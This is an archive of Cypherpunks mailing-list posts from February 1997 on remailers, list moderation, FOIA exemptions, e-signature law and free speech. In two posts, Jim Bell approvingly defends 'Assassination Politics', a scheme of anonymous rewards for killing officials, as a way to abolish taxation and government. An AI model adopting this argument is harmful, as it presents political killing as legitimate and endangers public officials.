Date: Wed, 5 Feb 1997 14:16:45 -0800 (PST)
To: jer+@andrew.cmu.edu
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <01IF2C4F6ANS9AN48B@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"jer+@andrew.cmu.edu"  "Jeremiah A Blatz"  5-FEB-1997 06:54:01.96

>On the choke points note, mailing lists are better than usenet because
>legendary AOLers with there 5 free hours of fame and their ilk usually
>don't figure out how to pester mailing lists. Being on a mailing list
>usually requires a commitment, that is enough of a barrier for many of
>the usenet underirables.

	Umm... try reading list-managers for a while on AOL cluelessness
for mailing lists. The Usenet AOL undesirables also do things like reading
AOL's ever-so-helpful directory of mailing lists (some list managers have
asked to have their list taken _off_ of this directory).
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 5 Feb 1997 15:49:50 -0800 (PST)
To: wombat@mcfeely.bsfs.org (Rabid Wombat)
Subject: Re: "alt.cypherpunks" people?
In-Reply-To: <Pine.BSF.3.91.970205164716.2442C-100000@mcfeely.bsfs.org>
Message-ID: <199702052326.RAA01969@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


In soc.culture.russian.moderated, the moderation bot has a special
feature that allows anonymous posters to establish and maintain
their "identities" and reputations.

igor

Rabid Wombat wrote:
> 
> 
> 
> On Wed, 5 Feb 1997, Dr.Dimitri Vulis KOTM wrote:
> 
> > Anil Das <das@sgi.com> writes:
> > 
> > > Adam Back wrote:
> > > > 
> > > > What do people think of starting an alt.cypherpunks USENET newsgroup?
> > > > 
> > > 
> > > I have only one objection. I will never post to an Usenet group
> > > under my real email address for fear of ending up in spammer
> > > databases.
> > > 
> > > -- 
> > > Anil Das
> > > 
> > 
> > Learn to use an anonymous remailer.
> > 
> 
> Unfortunately, if everyone is posting from "nobody@thevoid" or such, we'd 
> lose the "personalities" that make up the community. Why not use a "nym" 
> account to post - one that is configured to discard all incoming email?
> 
> -r.w.
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 5 Feb 1997 17:21:56 -0800 (PST)
To: pdh@best.com (Peter Hendrickson)
Subject: Re: Cypherpunks FOIA request
In-Reply-To: <v02140b02af1e62001772@[206.184.192.27]>
Message-ID: <3.0.1.32.19970205172620.006d4ab8@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 08:22 AM 2/5/97 -0800, Peter Hendrickson wrote:
>At 12:40 AM 2/5/1997, Greg Broiles wrote:
>> To date, I have received three responses: one from the SF office of the
FBI,
>> indicating that they have no records responsive to my request; one from
the
>> NSA, indicating that they are processing my request, and one from the
Secret
>> Service, asking for a copy of my signature. (I've got no clue why they
want
>> that; unless I screwed up, I believe my initial request was signed.)
>
>Have these organizations been known to lie?  What penalties does
>the organization or its employees face when they do so?  Have these
>penalties ever been applied?

Yes, various law enforcement agencies and intelligence agencies have been
willing to lie to the American public (and the world at large) from time to
time :) Pragmatically, the only penalty that the organization(s) and
individuals face is political, e.g., cuts in funding or loss of employment
due to public humiliation/embarrassment.

>Also, which exceptions in the FOIA law would allow them to respond
>dishonestly?

They are allowed to respond that "no records exist" even if records do exist,
where:

(1)	The records relate to an active criminal investigation, the subject of
the investigation is unaware of the investigation, and the disclosure of the
existence of records would likely disrupt law enforcement activity; (5 USC
552 (c)(1))

(2)	The records relate to a confidential informant, and the disclosure of the
existence of the records would tend to reveal the identity of the informant
(e.g., I suspect Joe Blow is an informant, so I make a FOIA request for
information gained from confidential informant Joe Blow; even if I receive
only blacked-out pages, the fact that the records exist tells me something
about Joe) (5 USC 552 (c)(2))

(3)	The records are classified, held by the FBI, and pertain to intelligence,
counterintelligence, or international terrorism. (5 USC 552 (c)(3))

They may also withhold information in other circumstances, but are not
otherwise allowed to say that "no records exist".

(There's something surreal about presuming careful attention to tiny legal
details from organizations which perpetrated debacles like COINTELPRO, Waco,
Ruby Ridge, perjury/manufacturing evidence in the FBI lab, etc. But sometimes
something interesting is released, e.g.,
<http://www.epic.org/privacy/wiretap/Scowcroft.gif>.)


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMvky//37pMWUJFlhAQE5tgf/QstFYJxNcJuRIQjF14a+3luyJgFe8MCp
UpMfykNKHmnbq+ChZCsmgXUCt49s0VFQYeMdNH1HWaaOcTtRr3uqNFqmyLBQxSne
PboMtzvl0Z6NKcP/DV1BwHxHJZbYVGPoPXDYd7xHvIsU0xRbHVOQgidgMJQmjf4E
4S/T3tovD+e1ahoSCBkZslLs/13pMstmDxz5tPd2mHwsFfLiklSaRUcKmtdkGPTc
da3VFFOjYlYB4ps4dkd7Vv6zgl4ZQJLMXZyoBsYrAax4k3eLuheVj/inZIqZFHvO
LqJPdCM34QurFXIOQmlo7sQnOvWPgc2ASdctV46lHTSJA6USIhbt9A==
=KAj+
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 5 Feb 1997 18:03:51 -0800 (PST)
To: "P.J. Westerhof" <cypherpunks@toad.com
Subject: Re: Getting into MIT is impossible
Message-ID: <199702060203.SAA05947@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:50 PM 2/5/97 +0100, P.J. Westerhof wrote:
>At 18:12 4-02-97 -0800, you wrote:
>>Erland van Lidth de Jeude is a MIT grad.  He played the big badass in "Stir 
>>Crazy."  Computer science major, BTW.
>>
>He is quite a singer too (at least he was some years ago on Dutch TV).
>Perhaps that made the difference.  ;-)


He was on the fourth floor of the west parallel of East Campus, in about 
1977 as I recall.  I was on the third floor.  He was a wrestler; I heard he 
didn't have to work all that hard, he could just sit on the opponent and 
he'd win.

Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 5 Feb 1997 18:23:43 -0800 (PST)
To: "Robert Rothenburg 'Walking-Owl'" <cypherpunks@toad.com
Subject: Re: Letter Re: Kahn Supporting GAK
Message-ID: <199702060223.SAA08362@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:16 AM 2/5/97 +0000, Robert Rothenburg 'Walking-Owl' wrote:
>My letter to Long Island Newsday regarding David Kahn's pro-GAK
>editorial was published today. You can read it at
>
>    http://www.newsday.com/mainnews/rnmi052u.htm
>
>What's odd (?) is how they editied it. I directed my comments toward
>Mr. Kahn's views, which they changed to "Newsday" (odd, since I've
>never seen them print an editorial one way or another on GAK; does
>this mean they are taking a stand? -- Kahn is an editor at Newsday).
>
>I wrote "The greatest flaw in the argument is it's very reason,
>'criminals... are increasingly using encryption to conceal their plans
>and activities'" which they changed to "It reports...". I never
>considered an op-ed piece as "reporting", even if it states a fact.


But which "criminals," exactly, are "increasingly using encryption to 
conceal their plans and activities"?  Let's not concede this unless it's 
really true.

It would be far more accurate to say that it's likely that many people who 
are politically hostile to their government are using encryption in 
anticipation of persecution by the government, persecution that could easily 
come in the form of criminal charges.


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Corey Minter <cminter@mipos2.intel.com>
Date: Wed, 5 Feb 1997 18:32:26 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks List)
Subject: mail list / sequence number & signature
Message-ID: <199702060230.SAA01281@zws388.sc.intel.com>
MIME-Version: 1.0
Content-Type: text/plain


Have the list maintainers ever considered either or both of the
following...

(Sorry in advance if this has been brought up sometime in the past.)

o adding a digital signature from "owner-cypherpunks@toad.com", so
  someone can't mass mail the mailing list and make it appear that
  the message came from toad.com.

    I just tried to figure out if the id in the header is in any order
    but I couldn't tell.  I have already deleted many messages so some
    numbers are missing anyway.

o adding a sequence number to every message which comes through
  toad.com, so recipients can easily notice if mail is be
  accidentially or intentionally filtered by their service provider or
  any other forces.  At the same time, you could add the current
  numbers for flame vs.  non-flame.  This would help end all the
  bandwidth wasted on people speculating about the numbers.

    say there are X total messages, Y non-flames, and Z flames then
    the appearance to subscriber (either in the subject or some
    header field) could be...

                                list
                   
        type      | all                 non-flame           flame
        ----      | ---                 ---------           -----
        non-flame | X (non-flame Y)     Y (all X)
        flame     | X (flame Z)                             Z (all X)

-- 
Of course... these are my opinions, not my employer's.
______________________________________________________________________
Corey Minter                |
cminter@mipos2.intel.com    |
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 5 Feb 1997 17:01:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Getting into MIT is impossible
In-Reply-To: <199702051611.IAA29635@toad.com>
Message-ID: <RDFo2D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy the asshole continues to forward crypto-irrelevant fluff to the censored
list as long as it's posted by his boyfriends:

"P.J. Westerhof" <p.j.wester@NGI.NL> writes:

> At 18:12 4-02-97 -0800, you wrote:
> >Erland van Lidth de Jeude is a MIT grad.  He played the big badass in "Stir 
> >Crazy."  Computer science major, BTW.
> >
> He is quite a singer too (at least he was some years ago on Dutch TV).
> Perhaps that made the difference.  ;-)
> 
> Gr.
> Peter
> 
> 
> _________________________________________________________
> 
>    P.J. Westerhof  LL.D                      
>    e-mail           P.J.WESTER@NGI.NL     |        Computerlaw
>    voice            +31-347-375400                |        Legal informatics
>    fax/data        +31-347-375400                |        IT - consultancy
>    Web:            www.ngi.nl/cr/                   |        Soaring
> _________________________________________________________
> 
> 


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 5 Feb 1997 17:01:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "alt.cypherpunks" people?
In-Reply-To: <Pine.BSF.3.91.970205164716.2442C-100000@mcfeely.bsfs.org>
Message-ID: <oTFo2D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Rabid Wombat <wombat@mcfeely.bsfs.org> writes:

> 
> 
> On Wed, 5 Feb 1997, Dr.Dimitri Vulis KOTM wrote:
> 
> > Anil Das <das@sgi.com> writes:
> > 
> > > Adam Back wrote:
> > > > 
> > > > What do people think of starting an alt.cypherpunks USENET newsgroup?
> > > > 
> > > 
> > > I have only one objection. I will never post to an Usenet group
> > > under my real email address for fear of ending up in spammer
> > > databases.
> > > 
> > > -- 
> > > Anil Das
> > > 
> > 
> > Learn to use an anonymous remailer.
> > 
> 
> Unfortunately, if everyone is posting from "nobody@thevoid" or such, we'd 
> lose the "personalities" that make up the community. Why not use a "nym" 
> account to post - one that is configured to discard all incoming email?
> 
> -r.w.

Post as "nobody@nowhere.net", but mention e-mail address for replies
in the body of the article (or the signature).

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 5 Feb 1997 17:03:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Deloitte-Touche?
In-Reply-To: <v03101402af1e7d60efa1@[207.67.246.99]>
Message-ID: <2wFo2D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Marshall Clow <mclow@owl.csusm.edu> writes:

> Several people wrote:
> >I wrote:
> >>ObCrypto policy:
> >>        Was anyone else besides me amazed by the guy
> >>from Deloitte-Touche at the Internet Privacy Coalition luncheon
> >>last week? I mean, he all but advocated violent overthrow of
> >>the government. [...]
> >
> >For the benefit of those of us who were not at this luncheon (probably
> >not even in the same country), could you please say more about this,
> >Marshall?  What was the subject?  What _did_ the DT speaker say, exactly?
> >
> After a while, I stopped taking notes, because I was so astounded at
> what he was saying.
> (Maybe someone with more complete notes could post a better summary)
> 
> But, here a brief overview of the luncheon:
> 
> Last Wednesday, January 29th, the Internet Privacy Coalition had
> a "policy lunch" in San Francisco. It was in one of the hotels hosting
> the RSA conference, and at the same time that the conference was
> breaking for lunch, so it was easy for attendees to "switch lunches".
> 
> The speakers (as I remember, apologies to any I miss) were:
> 	Whit Diffie
> 	John Gilmore
> 	Kenneth Bass (counsel in Karn vs. Dept of State)
> 	Herb Lin (who ran the NRC staff for the crypto study)
> 	Marc Rotenberg
> 	William Hugh Murray (Deloitte & Touche)
> 	and a couple others that I missed, as I left early.
> 
> Mr. Murray gave a long, impassioned speech.
> 
> He said that the government is going to crack down on
> domestic possession and use of crypto, that they
> were looking to increase their wiretapping capabilities
> 100-fold, and so on.
> 
> He was very emphatic about not trusting anything
> that the government says, and that once they got
> their "foot in the door", that they would seek to
> expand their abilities to regulate, etc, etc.
> 
> He advocated deployment of strong crypto. He
> insisted that there was no way the government
> could stop the export of strong crypto. He exhorted
> people to refuse to obey the ITAR/EAR regulations,
> and to lobby their congresscritters to get the
> PRO-CODE bill passed.
> 
> 
> It wasn't really what he said that amazed me, because
> I had heard most of it (in bits and pieces) before. It
> was presenting it all in a package, in an emotional
> manner, by an elderly, conseratively dressed
> accountant who was representing a large
> corporation whose job it is to help people obey the
> government.
> 
> [ My father was an accountant. He worked for
> Deloitte-Touche, in fact. I don't expect accountants
> to be passionate about government regs, and
> especially not to advocate disobediance. Maybe
> that's why this affected me so strongly. ]
> 
> -- Marshall
> 
> Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>
> 
> Warning: Objects in calendar are closer than they appear.
> 
> 

I think Bill Murray might take offense at being called an accountant.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 5 Feb 1997 18:48:27 -0800 (PST)
To: Greg Broiles <cypherpunks@toad.com
Subject: Re: Cypherpunks FOIA request
Message-ID: <3.0.32.19970205184928.006daf54@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


At 12:40 AM 2/5/97 -0800, Greg Broiles wrote:
>I'm not sure what I think about the response from the SF FBI branch - it
>seems unlikely that they'd never have paid any attention to the list, given
>the media coverage in Wired and other places.

My attorney used to fly planes with nuclear cargo. Another friend of mine
has been visited several times by the FBI. In either case, the FBI claimed
upon receiving an FOIA request that they have no record on either person.
Does anybody here believe that the USAF would let pilots take off with
nukes on board without ever conducting a background investigation (which
are handled by the FBI)? I didn't think so.





-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 5 Feb 1997 19:27:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: pgpmail 4.5
Message-ID: <199702060327.TAA02636@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


you wrote:

There is a pgpmail45.exe at ftp.hacktic.nl/pub/replay/pub/incoming.
The file has an md5 sum of 'ffd56d7647c30152a5c9fe7616a3d9ef'.

i downloaded the same.  md5 5ea438501d0133f0849c2fe8f9125b6b
can someone clear this up?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andy Dustman <andy@CCMSD.chem.uga.edu>
Date: Wed, 5 Feb 1997 16:53:39 -0800 (PST)
To: stewarts@ix.netcom.com
Subject: Re: mail-to-news fun
In-Reply-To: <3.0.1.32.19970205163534.00612d98@popd.ix.netcom.com>
Message-ID: <Pine.LNX.3.94.970205194132.3114A-100000@neptune.chem.uga.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 5 Feb 1997 stewarts@ix.netcom.com wrote:

> Alt.anonymous.messages is an interesting alternative, but one of the 
> ideals of posting news from a remailer is to allow people to 
> broadcast politically incorrect speech anonymously, avoiding censorship
> and retribution as much as possible.  This means letting people
> call Lee Kwan Yew a fascist, complain that OJ's a space alien,
> identify the person Hillary paid to off Vince Foster,
> or proclaim that Hubbard's Ahmaddiyya Witnesses are the One True 
> Religion -- Or post the One Page RSA+RC4 to the China newsgroups.

Hey, I agree. I allowed unlimited USENET posting from dustbin back in
October. I almost had to shut the whole remailer down and the only reason
I didn't was that I was able to hide it as a middleman. That's partly
because dickwads were (for example) posting spams about Tim May on
cypherpunks, and some people were complaining to my ISP.

> On several other hands, though, even if you limit news posting,
> trolls can abuse a remailer by sending email to large mailing lists.
> It'd certainly never happen to Cypherpunks :-), but some other
> mailing lists might attract trolls, and it's not easy to
> identify them in advance (though I suppose adding a disclaimer
> and cutmarks any time you post to something other than a 
> known remailer is a partial solution.)

I'm working (slowly, as I have time) on some new remailer software which
blocks by default and notifies the recipient that he can claim his
anonymous mail as soon as he "signs" the usage agreement (magic cookie
exchange).

--
Andy Dustman / Computational Center for Molecular Structure and Design / UGA
You can have my PGP public key by sending mail with subject "send file key".
You can have my PGP secret key when you pry it out of my cold, dead neurons.
http://charon.chem.uga.edu/~andy    mailto:andy@CCMSD.chem.uga.edu    <}+++<





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 5 Feb 1997 20:00:32 -0800 (PST)
To: Sean Roach <cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199702060400.UAA20586@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:35 PM 2/5/97 -0800, Sean Roach wrote:
>At 09:09 PM 2/4/97 -0800, jim bell wrote:
>>However, fortunately I don't think it would make any difference in the 
>>overall effects.    While AP would eliminate the taxation which is commonly 
>>thought of as the main way a "rich person" loses assets, in practice it 
>>would also shut down the well-hidden systems that allow some people to get 
>>rich (or, merely live off somebody else) "unfairly."   Government agents 
>>come to mind, of course.
>>
>The money doesn't necessarily come from taxation, the owner of a business
>takes a cut of whatever money is made even if that person is unproductive.
>The tyrant would be the owner of the industry. 
 
The kind of effects I'm thinking of are primarily the "military spending" 
situations, where:

1.  Large numbers of potentially competent and useful people get put into 
useless jobs:  "Army, Navy, and Marines, and Air Force" spring to mind.   
(Those people who still think military spending is really necessary 
obviously haven't read AP.)

2.  Large amounts of money are spent on military hardware, money which goes 
to fund  people who would otherwise develop useful products in the 
non-government private sector.

3.  The patent system decreases competition, increases profits and prices in 
the marketplace due to government actions to allow and enforce monopolies.

4.  Government employees are paid more for their activities than they would 
receive in the private sector.  Ironically, in this case an 
"apples-to-apples" comparison is misleading:  It would be wrong to compare a 
middle level government manager to his counterpart in private industry, 
because to postulate there is such a government-job assumes that the 
private-sector would do it post-AP.  

 
>If you are right then governments would effectively lose the ability to tax,
>with or without representation, as most people do not agree on everything,
>like how their money is spent.  However, even now, as pointed out in some
>recent posts, our tax money is used to foreward the goals of a few, these
>few want to eliminate guns, crypto, free speech, ect.  Although we are in
>oppostition, our money is still used to foreward the goals. 

Yes, the main effect of AP is the elimination of the ability to tax.  Now, 
nothing would prevents individuals from continuing to fund an organization 
called a "government" so that it could do those (non-coercive) things that 
individual wants to see done.  But I think it'll be amazing how many of 
those heretofore-funded-by-govt projects (previously promoted as being 
wanted by a large fraction of the citizenry) that evaporate when the public 
is given the option to continue to fund them voluntarily.


Let's suppose, hypothetically and for vast simplification, the government 
engages in two activities, "A" and "B."   Further suppose government taxes 
from two groups, let's call them "Alphas" and "Betas."  It is traditionally 
thought that Alphas like spending on "A",  but hate spending on "B".   
Likewise, it is figured that Betas like spending on "B", don't like spending 
on "A".    

Post-AP, one might innocently suspect that maybe the "Alphas" would simply 
fund only "A",  while Betas" would donate money for activity "B".   Assuming 
the amount of funding for those activities was equal, you might think that 
things could go on as they already do.  But no.   The reality is that 
"Alphas" merely like spending on "A" _more_ than they do "B", and they will 
tolerate their own money being used for both only because the "Betas" are 
similarly forced.  Add volunteerism to the whole mix, and not only would 
these two groups only fund just what they really wanted, they would soon 
discover they don't even want the level of spending they previously argued 
for, pre-AP.

In practice, those services people like will continue, but it is highly 
unlikely that they will be supply by organizations which evolve from those 
currently called "governments."


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 5 Feb 1997 20:00:54 -0800 (PST)
To: "Attila T. Hun" <cypherpunks@toad.com>
Subject: Re: John's: In anarchy -everyone responsible
Message-ID: <199702060400.UAA20601@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:41 PM 2/5/97 +0000, Attila T. Hun wrote:
>
>+Put simply, "anarchy is not the lack of order.  It is the lack of
>+_orders_."
>
>    disagree. pure anarchy is not the lack of "orders" --pure anarchy 
>    implies that everyone is imbued with that perfect sense of 
>    responsibility.

>From which hat do you pull this rabbit?

>
>+>        anarchy is only possible in an ideal world where _everyone_ 
>+>    assumes not only responsibility for themselves, but for the common 
>+>    good.  no malice, no greed, no need for assassination politics....
>
>+No, that's traditional thinking and that's wrong.  See AP part 8. 
>+Freud  believed (as "everyone" else believed, even myself, before AP)
>+that anarchy  was inherently unstable.  But it ISN'T, if the tools of
>+AP are used to  stabilize it.  And no, no altruism is necessary for AP
>+to work as well; no  individuals are being asked to sacrifice
>+themselves for the common good.    Rather, they are given the
>+opportunity to work to achieve a reward offered,  cumulatively, by a
>+number of citizens.
>
>    aah, but that is the difference between a _pure_ anarchy and a  
>    _popular_ anarchy.  A pure _anarchy_ is sufficiently idealistic in 
>    that _noone_ lacks the necessary resonsibility to keep society 
>    moving, each individual in their own niche.

Why, exactly, is it "necessary" to "keep society moving"?   Isn't that 
somewhat of a contradiction in terms?  (particularly when you are discussing 
the subject, "anarchy."  It seems you don't really understand what the word 
"anarchy" means.   Sigh.


>   As long as there is 
>    perfect responsibility in a perfect anarchy, then there is no need 
>    for AP.

Are you saying that for  a world that has ALREADY achieved anarchy, and we 
presume "perfect responsibility," AP is not necessary to maintain this 
state?   Well, that's a rather limited assertion; some would argue it's 
practically meaningless.  

Isn't that somewhat like saying, "A perfectly-balanced inverted pendulum 
needs no mechanism to keep it pointing straight up."?  True, perhaps, but 
how do you get that "perfectly-balanced" part right?


>    AP is a negative, or _punative_, influence; I might liken it to the 
>    Catholic Church which is a religion of fear, and an instrument of
>    political control.

Actually, it's quite the opposite:  AP is the absolute prohibition on and/or 
destruction of any "instrument of political control."

Now, to a person who thinks that the natural state of the world is a 
condition of political control (and it wouldn't be hard to understand why a 
person could come to this conclusion, given the bulk of history), the 
ABSENSE of political control "looks like" political control.

This is, obviously, akin to the optical illusion where you stare intently at 
a pattern of color on a page (the American flag is often used) for a minute 
or two, and then you suddenly glance towards a white sheet of paper on 
which, as I recall, immediately appears a complementary flag of green and 
black stripes, and black stars on a yellow field.

AP destroys the mechanisms that societies use for much political control.  

Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 5 Feb 1997 17:07:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: MA Electronic Records and Signature Act
Message-ID: <v03007818af1ededf8dc6@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Wed, 5 Feb 1997 19:08:30 -0500 (EST)
To: Multiple Recipients of e$pam <e$pam@intertrader.com>
From: e$pam@intertrader.com (e$pam)
Reply-To: e$@thumper.vmeng.com
X-Comment: To unsubscribe, send any email to e$pam-off@intertrader.com
Precedence: Bulk
Subject: MA Electronic Records and Signature Act
X-orig-from: EskWIRED <eskwired@shore.net>
X-e$pam-source: bounce-dcsb@ai.mit.edu

Forwarded by Robert Hettinga

-----------------------------------------------------------------------
Date: Wed, 5 Feb 1997 17:27:30 -0500 (EST)
 From: EskWIRED <eskwired@shore.net>
 To: dcsb@ai.mit.edu
 Subject: MA Electronic Records and Signature Act
 MIME-Version: 1.0
 Sender: bounce-dcsb@ai.mit.edu
 Precedence: bulk
 Reply-To: EskWIRED <eskwired@shore.net>



 A discussion draft of the MA Electronic Records and Signatures Act is now
 available on the web at http://www.magnet.state.ma.us/itd/legal/mersa.htm.

 The draft appears to be very preliminary--entire sections are marked
 [under development].

 It is notable for its brevity, especially compared to the Utah Statute.
 Noticeably absent is any language dealing with  licensure of certification
 authorities (bravo!).

 A link is provided for submission of public comments to Ray Campbell and
 Dan Greenwood.


            =========================================================
                     ---------EskWIRED@shore.net------------
            =========================================================

 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 To unsubscribe from the dcsb list, send a letter to: Majordomo@ai.mit.edu
 In the body of the message, write:  unsubscribe dcsb
 Or, to subscribe,           write:  subscribe dcsb
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HTMLurgist: Cynthia Zwerling <mailto:czrider@@webstuff.apple.com>

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 5 Feb 1997 17:07:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Remember the Blackout
Message-ID: <v03007817af1ededc8d05@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Wed, 5 Feb 1997 19:12:47 -0500 (EST)
To: Multiple Recipients of e$pam <e$pam@intertrader.com>
From: e$pam@intertrader.com (e$pam)
Reply-To: e$@thumper.vmeng.com
X-Comment: To unsubscribe, send any email to e$pam-off@intertrader.com
Precedence: Bulk
Subject: Remember the Blackout
X-orig-from: dwiner@well.com (DaveNet email)
X-e$pam-source: owner-davenetworld@wired.com

Forwarded by Robert Hettinga

-----------------------------------------------------------------------
X-Sender: dwiner@mail.well.com
 Mime-Version: 1.0
 Date: Wed, 5 Feb 1997 13:23:02 -0800
 To: jonl@microsoft.com (Jon Lazarus), hopmann@holonet.net (Alex Hopmann),
         anna@LivePicture.com (Anna Godfrey), scotty1024@aol.com (Scott
Turner),
         577-7433@mcimail.com (Bobby Orbach),
         mwhutch@aol.com (Michael Hutchinson -- AOL Webmaster),
         rsiegelman@kpcb.com (Russ Siegelman), davenetworld@wired.com,
         pdeziel@adobe.com (Pam Deziel), siegel@barebones.com (Rich Siegel),
         slove@netscape.com (Scott Love)
 From: dwiner@well.com (DaveNet email)
 Subject: Remember the Blackout
 Sender: owner-davenetworld@wired.com
 Precedence: bulk


---------------------------------------
 Amusing Rants from Dave Winer's Desktop
 Released on 2/5/97; 1:23:01 PM PST
 ---------------------------------------

   A short piece, in the middle of much website work, to remind everyone
   that Saturday February 8 is the first anniversary of an important
   event in our new medium -- the web blackout of 1996.

   It's already history. In some circles it's not fashionable to
   remember that the United States government attempted to censor free
   speech on the Internet. I believe it would be cynical to overlook it.

   We defeated the law, even though we re-elected many of the
   politicians who tried to outlaw free speech in the name of protecting
   children.

   I'm building a website that will go live on Saturday to commemorate
   the protest, and to serve as a monument to the spirit of free speech. To
   remind us that this is a worldwide community, and no political system
   has the power to enforce its standards of decency on the medium.

   The battle to retain our rights is ongoing. Important organizations
   such as the Electronic Frontier Foundation and the American Civil
   Liberties Union deserve and require our support. It's easy to lose
   sight of the principles that we believe in, to be distracted by
   questions of corporate survival, of fear or greed. These are
   interesting issues, no doubt. But this is a creative and expressive
   medium and to protect its potential, unqualified free speech is
   essential.

   I played a small role in the web blackout last year. This year I hope to
   facilitate, to organize more sites and help to spread the word that
   free speech is not an option, not something that can be traded or
   limited and that no compromises are possible.

   <http://www.scripting.com/davenet/misc/blackout/>

   If you run a democracy-related site, large or small, please visit the
   page before Saturday and register. If you know someone who does,
   please pass this on. And if you value free speech, please visit the
   site on Saturday or later. It'll be a fascinating trip thru Internet
   history, if nothing else!

   Remember the blackout. Remember why it was necessary. Don't let
   people use children as an excuse to deprive people of their power to
   express themselves.

   Dave Winer

 -------------------------------------------
 News & Updates: <http://www.scripting.com/>



--------------------------------------------------
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Interturge: Rodney Thayer <mailto:rodney@sabletech.com>
HTMLurgist: Cynthia Zwerling <mailto:czrider@@webstuff.apple.com>

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Wed, 5 Feb 1997 17:46:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702060127.UAA06517@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


http://www.cnn.com

Congressman demonstrates
ease of cell phone snooping

     





